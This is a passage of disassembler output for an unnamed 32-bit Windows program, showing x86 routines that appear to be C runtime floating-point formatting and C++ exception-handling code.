		jl	short loc_421BA1


loc_421B9F:				; CODE XREF: sub_421ADD+BAj
		mov	ebx, esi


loc_421BA1:				; CODE XREF: sub_421ADD+C0j
		push	ebx
		push	edi
		call	sub_421CF1
		push	ebx
		push	30h
		push	edi
		call	sub_41B590
		add	esp, 14h


loc_421BB4:				; CODE XREF: sub_421ADD+94j
					; sub_421ADD+ADj
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_421ADD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421BBB	proc near		; CODE XREF: sub_421CA0+34p

var_14		= qword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [edi]
		fstp	[esp+14h+var_14]
		call	sub_4245E9
		mov	dword_4DB9EC, eax
		mov	ecx, [eax+4]
		dec	ecx
		mov	ebx, [ebp+arg_8]
		mov	dword_4DB9F4, ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		push	eax
		push	ebx
		setz	cl
		add	ecx, [ebp+arg_4]
		mov	esi, ecx
		push	esi
		call	sub_424572
		mov	eax, dword_4DB9EC
		add	esp, 14h
		mov	ecx, [eax+4]
		dec	ecx
		cmp	dword_4DB9F4, ecx
		setl	cl
		mov	byte_4DB9F8, cl
		mov	eax, [eax+4]
		dec	eax
		cmp	eax, 0FFFFFFFCh
		mov	dword_4DB9F4, eax
		jl	short loc_421C41
		cmp	eax, ebx
		jge	short loc_421C41
		test	cl, cl
		jz	short loc_421C32


loc_421C28:				; CODE XREF: sub_421BBB+72j
		mov	al, [esi]
		inc	esi
		test	al, al
		jnz	short loc_421C28
		and	[esi-2], al


loc_421C32:				; CODE XREF: sub_421BBB+6Bj
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_421C7D
		add	esp, 0Ch
		jmp	short loc_421C51
; ---------------------------------------------------------------------------


loc_421C41:				; CODE XREF: sub_421BBB+63j
					; sub_421BBB+67j
		push	[ebp+arg_C]
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_421C56
		add	esp, 10h


loc_421C51:				; CODE XREF: sub_421BBB+84j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_421BBB	endp


; =============== S U B	R O U T	I N E =======================================



sub_421C56	proc near		; CODE XREF: sub_421BBB+8Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		mov	byte_4DB9F0, 1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_4219D9
		and	byte_4DB9F0, 0
		add	esp, 10h
		retn
sub_421C56	endp


; =============== S U B	R O U T	I N E =======================================



sub_421C7D	proc near		; CODE XREF: sub_421BBB+7Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	byte_4DB9F0, 1
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_421ADD
		and	byte_4DB9F0, 0
		add	esp, 0Ch
		retn
sub_421C7D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421CA0	proc near		; CODE XREF: sub_41F69F+3AAp
					; DATA XREF: sub_41C760o ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_421CDB
		cmp	[ebp+arg_8], 45h
		jz	short loc_421CDB
		cmp	[ebp+arg_8], 66h
		jnz	short loc_421CC8
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_421ADD
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_421CC8:				; CODE XREF: sub_421CA0+13j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_421BBB
		jmp	short loc_421CEC
; ---------------------------------------------------------------------------


loc_421CDB:				; CODE XREF: sub_421CA0+7j
					; sub_421CA0+Dj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4219D9


loc_421CEC:				; CODE XREF: sub_421CA0+39j
		add	esp, 10h
		pop	ebp
		retn
sub_421CA0	endp


; =============== S U B	R O U T	I N E =======================================



sub_421CF1	proc near		; CODE XREF: sub_4219D9+2Cp
					; sub_421ADD+83p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		test	edi, edi
		jz	short loc_421D14
		push	esi
		mov	esi, [esp+8+arg_0]
		push	esi
		call	sub_41AFE0
		inc	eax
		push	eax
		push	esi
		add	esi, edi
		push	esi
		call	sub_41CC90
		add	esp, 10h
		pop	esi


loc_421D14:				; CODE XREF: sub_421CF1+7j
		pop	edi
		retn
sub_421CF1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421D16	proc near		; CODE XREF: ___:0041C940p
					; sub_41C9A9+1Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_10]
		push	edi
		mov	edi, 19930520h
		cmp	[esi], edi
		jz	short loc_421D2C
		call	sub_4225B2


loc_421D2C:				; CODE XREF: sub_421D16+Fj
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+4], 66h
		jz	short loc_421D54
		cmp	dword ptr [esi+4], 0
		jz	short loc_421DAA
		cmp	[ebp+arg_14], 0
		jnz	short loc_421DAA
		push	0FFFFFFFFh
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_42205D
		add	esp, 10h
		jmp	short loc_421DAA
; ---------------------------------------------------------------------------


loc_421D54:				; CODE XREF: sub_421D16+1Dj
		cmp	dword ptr [esi+0Ch], 0
		jz	short loc_421DAA
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_421D8E
		cmp	[eax+14h], edi
		jbe	short loc_421D8E
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+8]
		test	ecx, ecx
		jz	short loc_421D8E
		movzx	edx, byte ptr [ebp+arg_1C]
		push	edx
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	ecx
		add	esp, 20h
		jmp	short loc_421DAD
; ---------------------------------------------------------------------------


loc_421D8E:				; CODE XREF: sub_421D16+4Aj
					; sub_421D16+4Fj ...
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_1C]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_421DB1
		add	esp, 20h


loc_421DAA:				; CODE XREF: sub_421D16+23j
					; sub_421D16+29j ...
		push	1
		pop	eax


loc_421DAD:				; CODE XREF: sub_421D16+76j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_421D16	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421DB1	proc near		; CODE XREF: sub_421D16+8Cp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_4]
		and	byte ptr [ebp+var_14], 0
		mov	eax, [eax+8]
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jl	short loc_421DD1
		mov	ecx, [ebp+arg_10]
		cmp	eax, [ecx+4]
		jl	short loc_421DD6


loc_421DD1:				; CODE XREF: sub_421DB1+16j
		call	sub_4225B2


loc_421DD6:				; CODE XREF: sub_421DB1+1Ej
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ebx, 0E06D7363h
		push	edi
		mov	edi, 19930520h
		cmp	[esi], ebx
		jnz	loc_421F2D
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_421E4A
		cmp	[esi+14h], edi
		jnz	short loc_421E4A
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_421E4A
		mov	esi, dword_4DB9FC
		test	esi, esi
		jz	loc_421F28
		mov	eax, dword_4DBA00
		push	1
		push	esi
		mov	[ebp+arg_8], eax
		mov	byte ptr [ebp+var_14], 1
		call	sub_424770
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_421E2C
		call	sub_4225B2


loc_421E2C:				; CODE XREF: sub_421DB1+74j
		cmp	[esi], ebx
		jnz	loc_421F2D
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_421E4A
		cmp	[esi+14h], edi
		jnz	short loc_421E4A
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_421E4A
		call	sub_4225B2


loc_421E4A:				; CODE XREF: sub_421DB1+41j
					; sub_421DB1+46j ...
		cmp	[esi], ebx
		jnz	loc_421F2D
		cmp	dword ptr [esi+10h], 3
		jnz	loc_421F2D
		cmp	[esi+14h], edi
		jnz	loc_421F2D
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41CAF7
		add	esp, 14h
		mov	ebx, eax


loc_421E81:				; CODE XREF: sub_421DB1+162j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_18]
		jnb	loc_421F18
		cmp	[ebx], edi
		jg	short loc_421F0D
		cmp	edi, [ebx+4]
		jg	short loc_421F0D
		mov	eax, [ebx+10h]
		mov	[ebp+arg_0], eax
		mov	eax, [ebx+0Ch]
		test	eax, eax
		mov	[ebp+var_C], eax
		jle	short loc_421F0A


loc_421EA6:				; CODE XREF: sub_421DB1+131j
		mov	eax, [esi+1Ch]
		mov	eax, [eax+0Ch]
		lea	edi, [eax+4]
		mov	eax, [eax]
		test	eax, eax
		mov	[ebp+var_8], eax
		jle	short loc_421ED7


loc_421EB8:				; CODE XREF: sub_421DB1+124j
		push	dword ptr [esi+1Ch]
		push	dword ptr [edi]
		push	[ebp+arg_0]
		call	sub_422000
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_421EE6
		dec	[ebp+var_8]
		add	edi, 4
		cmp	[ebp+var_8], eax
		jg	short loc_421EB8


loc_421ED7:				; CODE XREF: sub_421DB1+105j
		dec	[ebp+var_C]
		add	[ebp+arg_0], 10h
		cmp	[ebp+var_C], 0
		jg	short loc_421EA6
		jmp	short loc_421F0A
; ---------------------------------------------------------------------------


loc_421EE6:				; CODE XREF: sub_421DB1+119j
		push	[ebp+var_14]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	ebx
		push	dword ptr [edi]
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_422111
; ---------------------------------------------------------------------------
		add	esp, 2Ch


loc_421F0A:				; CODE XREF: sub_421DB1+F3j
					; sub_421DB1+133j
		mov	edi, [ebp+var_10]


loc_421F0D:				; CODE XREF: sub_421DB1+DEj
					; sub_421DB1+E3j
		inc	[ebp+var_4]
		add	ebx, 14h
		jmp	loc_421E81
; ---------------------------------------------------------------------------


loc_421F18:				; CODE XREF: sub_421DB1+D6j
		cmp	[ebp+arg_14], 0
		jz	short loc_421F28
		push	1
		push	esi
		call	sub_422486
		pop	ecx
		pop	ecx


loc_421F28:				; CODE XREF: sub_421DB1+56j
					; sub_421DB1+16Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_421F2D:				; CODE XREF: sub_421DB1+37j
					; sub_421DB1+7Dj ...
		cmp	[ebp+arg_14], 0
		jnz	short loc_421F53
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_10]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_421F58
		add	esp, 20h
		jmp	short loc_421F28
; ---------------------------------------------------------------------------


loc_421F53:				; CODE XREF: sub_421DB1+180j
		jmp	sub_42255C
sub_421DB1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421F58	proc near		; CODE XREF: sub_421DB1+198p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	dword_4DBA04, 0
		push	esi
		push	edi
		jz	short loc_421F89
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41C9CE
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_421FFC


loc_421F89:				; CODE XREF: sub_421F58+Ej
		mov	edi, [ebp+arg_14]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41CAF7
		add	esp, 14h
		mov	esi, eax


loc_421FA5:				; CODE XREF: sub_421F58+A2j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jnb	short loc_421FFC
		cmp	edi, [esi]
		jl	short loc_421FF4
		cmp	edi, [esi+4]
		jg	short loc_421FF4
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+10h]
		shl	eax, 4
		add	eax, ecx
		mov	ecx, [eax-0Ch]
		test	ecx, ecx
		jz	short loc_421FCE
		cmp	byte ptr [ecx+8], 0
		jnz	short loc_421FF4


loc_421FCE:				; CODE XREF: sub_421F58+6Ej
		push	1
		add	eax, 0FFFFFFF0h
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	esi
		push	0
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_422111
; ---------------------------------------------------------------------------
		add	esp, 2Ch


loc_421FF4:				; CODE XREF: sub_421F58+57j
					; sub_421F58+5Cj ...
		inc	[ebp+var_4]
		add	esi, 14h
		jmp	short loc_421FA5
; ---------------------------------------------------------------------------


loc_421FFC:				; CODE XREF: sub_421F58+2Fj
					; sub_421F58+53j
		pop	edi
		pop	esi
		leave
		retn
sub_421F58	endp


; =============== S U B	R O U T	I N E =======================================



sub_422000	proc near		; CODE XREF: sub_421DB1+10Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, [edi+4]
		test	eax, eax
		jz	short loc_422057
		cmp	byte ptr [eax+8], 0
		lea	edx, [eax+8]
		jz	short loc_422057
		mov	esi, [esp+8+arg_4]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jz	short loc_422031
		add	ecx, 8
		push	ecx
		push	edx
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_422053


loc_422031:				; CODE XREF: sub_422000+1Fj
		test	byte ptr [esi],	2
		jz	short loc_42203B
		test	byte ptr [edi],	8
		jz	short loc_422053


loc_42203B:				; CODE XREF: sub_422000+34j
		mov	eax, [esp+8+arg_8]
		mov	eax, [eax]
		test	al, 1
		jz	short loc_42204A
		test	byte ptr [edi],	1
		jz	short loc_422053


loc_42204A:				; CODE XREF: sub_422000+43j
		test	al, 2
		jz	short loc_422057
		test	byte ptr [edi],	2
		jnz	short loc_422057


loc_422053:				; CODE XREF: sub_422000+2Fj
					; sub_422000+39j ...
		xor	eax, eax
		jmp	short loc_42205A
; ---------------------------------------------------------------------------


loc_422057:				; CODE XREF: sub_422000+Bj
					; sub_422000+14j ...
		push	1
		pop	eax


loc_42205A:				; CODE XREF: sub_422000+55j
		pop	edi
		pop	esi
		retn
sub_422000	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42205D	proc near		; CODE XREF: sub_421D16+34p
					; ___:00422153p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278C0
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebx+8]
		mov	[ebp+var_1C], esi
		mov	edi, [ebp+arg_8]


loc_42208F:				; CODE XREF: sub_42205D+8Aj
		cmp	esi, [ebp+arg_C]
		jz	short loc_4220E9
		cmp	esi, 0FFFFFFFFh
		jle	short loc_42209E
		cmp	esi, [edi+4]
		jl	short loc_4220A3


loc_42209E:				; CODE XREF: sub_42205D+3Aj
		call	sub_4225B2


loc_4220A3:				; CODE XREF: sub_42205D+3Fj
		and	[ebp+var_4], 0
		mov	eax, [edi+8]
		mov	eax, [eax+esi*8+4]
		test	eax, eax
		jz	short loc_4220BE
		push	103h
		push	ebx
		push	eax
		call	sub_422510


loc_4220BE:				; CODE XREF: sub_42205D+53j
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4220DE
; ---------------------------------------------------------------------------
		push	[ebp+var_14]
		call	sub_4220FB
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+var_1C]


loc_4220DE:				; CODE XREF: sub_42205D+65j
		mov	eax, [edi+8]
		mov	esi, [eax+esi*8]
		mov	[ebp+var_1C], esi
		jmp	short loc_42208F
; ---------------------------------------------------------------------------


loc_4220E9:				; CODE XREF: sub_42205D+35j
		mov	[ebx+8], esi
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42205D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4220FB	proc near		; CODE XREF: sub_42205D+6Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jz	short loc_42210C
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_42210C:				; CODE XREF: sub_4220FB+Cj
		jmp	sub_42255C
sub_4220FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_422111	proc near		; CODE XREF: sub_421DB1+151p
					; sub_421F58+94p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_18], 0
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		jz	short loc_422133
		push	[ebp+arg_18]
		push	ebx
		push	edi
		push	[ebp+arg_0]
		call	sub_4222C2
		add	esp, 10h


loc_422133:				; CODE XREF: sub_422111+10j
		cmp	[ebp+arg_24], 0
		push	[ebp+arg_0]
		jnz	short loc_42213F
		push	edi
		jmp	short loc_422142
; ---------------------------------------------------------------------------


loc_42213F:				; CODE XREF: sub_422111+29j
		push	[ebp+arg_24]


loc_422142:				; CODE XREF: sub_422111+2Cj
		call	sub_41C8D0
sub_422111	endp

; ---------------------------------------------------------------------------
		mov	esi, [ebp+24h]
		push	dword ptr [esi]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	edi
		call	sub_42205D
		mov	eax, [esi+4]
		push	100h
		push	dword ptr [ebp+28h]
		inc	eax
		mov	[edi+8], eax
		push	dword ptr [ebx+0Ch]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+10h]
		push	edi
		push	dword ptr [ebp+8]
		call	sub_42218C
		add	esp, 2Ch
		test	eax, eax
		jz	short loc_422187
		push	edi
		push	eax
		call	sub_41C88E


loc_422187:				; CODE XREF: ___:0042217Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42218C	proc near		; CODE XREF: ___:00422174p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278D0
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_2C], eax
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		mov	esi, [ebp+arg_4]
		mov	ecx, [esi-4]
		mov	[ebp+var_28], ecx
		mov	ecx, dword_4DB9FC
		mov	[ebp+var_1C], ecx
		mov	ecx, dword_4DBA00
		mov	[ebp+var_20], ecx
		mov	edi, [ebp+arg_0]
		mov	dword_4DB9FC, edi
		mov	ecx, [ebp+arg_8]
		mov	dword_4DBA00, ecx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_4], 1
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	eax
		push	[ebp+arg_C]
		push	esi
		call	sub_41C955
		add	esp, 14h
		mov	[ebp+var_2C], eax
		mov	[ebp+var_4], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_422252
		mov	eax, [ebp+var_2C]


loc_422219:				; CODE XREF: sub_422232+16j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42218C	endp


; =============== S U B	R O U T	I N E =======================================



sub_422228	proc near		; DATA XREF: ___:004278E0o
		push	dword ptr [ebp-14h]
		call	sub_422298
		pop	ecx
		retn
sub_422228	endp


; =============== S U B	R O U T	I N E =======================================



sub_422232	proc near		; DATA XREF: ___:004278E4o
		mov	esp, [ebp-18h]
		and	dword ptr [ebp-2Ch], 0
		push	0FFFFFFFFh
		lea	eax, [ebp-10h]
		push	eax
		call	sub_41CBB6
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_422219
sub_422232	endp

; ---------------------------------------------------------------------------


loc_42224A:				; DATA XREF: ___:004278D8o
		xor	ebx, ebx
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+8]

; =============== S U B	R O U T	I N E =======================================



sub_422252	proc near		; CODE XREF: sub_42218C+85p
		mov	eax, [ebp-28h]
		mov	[esi-4], eax
		mov	eax, [ebp-1Ch]
		mov	dword_4DB9FC, eax
		mov	eax, [ebp-20h]
		mov	dword_4DBA00, eax
		cmp	dword ptr [edi], 0E06D7363h
		jnz	short locret_422297
		cmp	dword ptr [edi+10h], 3
		jnz	short locret_422297
		cmp	dword ptr [edi+14h], 19930520h
		jnz	short locret_422297
		cmp	[ebp-24h], ebx
		jnz	short locret_422297
		cmp	[ebp-2Ch], ebx
		jz	short locret_422297
		call	sub_41CC1E
		push	eax
		push	edi
		call	sub_422486
		pop	ecx
		pop	ecx

locret_422297:				; CODE XREF: sub_422252+1Cj
					; sub_422252+22j ...
		retn
sub_422252	endp


; =============== S U B	R O U T	I N E =======================================



sub_422298	proc near		; CODE XREF: sub_422228+3p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_4222BF
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_4222BF
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_4222BF
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_4222BF
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_4222BF:				; CODE XREF: sub_422298+Cj
					; sub_422298+12j ...
		xor	eax, eax
		retn
sub_422298	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4222C2	proc near		; CODE XREF: sub_422111+1Ap

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278E8
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx+4]
		test	eax, eax
		jz	loc_42246B
		cmp	byte ptr [eax+8], 0
		jz	loc_42246B
		mov	eax, [ecx+8]
		test	eax, eax
		jz	loc_42246B
		mov	edx, [ebp+arg_4]
		lea	edi, [eax+edx+0Ch]
		and	[ebp+var_4], 0
		test	byte ptr [ecx],	8
		jz	short loc_42235F
		mov	esi, [ebp+arg_0]
		push	1
		push	dword ptr [esi+18h]
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		mov	eax, [esi+18h]
		mov	[edi], eax
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx


loc_422350:				; CODE XREF: sub_4222C2+F5j
		push	eax
		call	sub_4224ED
		pop	ecx
		pop	ecx
		mov	[edi], eax
		jmp	loc_422467
; ---------------------------------------------------------------------------


loc_42235F:				; CODE XREF: sub_4222C2+57j
		mov	esi, [ebp+arg_C]
		test	byte ptr [esi],	1
		jz	short loc_4223B9
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	dword ptr [esi+14h]
		push	dword ptr [ebx+18h]
		push	edi
		call	sub_41CC90
		add	esp, 0Ch
		cmp	dword ptr [esi+14h], 4
		jnz	loc_422467
		mov	eax, [edi]
		test	eax, eax
		jz	loc_422467
		add	esi, 8
		push	esi
		jmp	short loc_422350
; ---------------------------------------------------------------------------


loc_4223B9:				; CODE XREF: sub_4222C2+A3j
		cmp	dword ptr [esi+18h], 0
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		jnz	short loc_422401
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		push	dword ptr [esi+14h]
		add	esi, 8
		push	esi
		push	dword ptr [ebx+18h]
		call	sub_4224ED
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		call	sub_41CC90
		add	esp, 0Ch
		jmp	short loc_422467
; ---------------------------------------------------------------------------


loc_422401:				; CODE XREF: sub_4222C2+103j
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		push	dword ptr [esi+18h]
		call	sub_4247A8
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		test	byte ptr [esi],	4
		jz	short loc_422448
		push	1
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_4224ED
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41C8C9
		jmp	short loc_422467
; ---------------------------------------------------------------------------


loc_422448:				; CODE XREF: sub_4222C2+168j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_4224ED
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41C8C2
		jmp	short loc_422467
; ---------------------------------------------------------------------------


loc_422462:				; CODE XREF: sub_4222C2+6Aj
					; sub_4222C2+7Cj ...
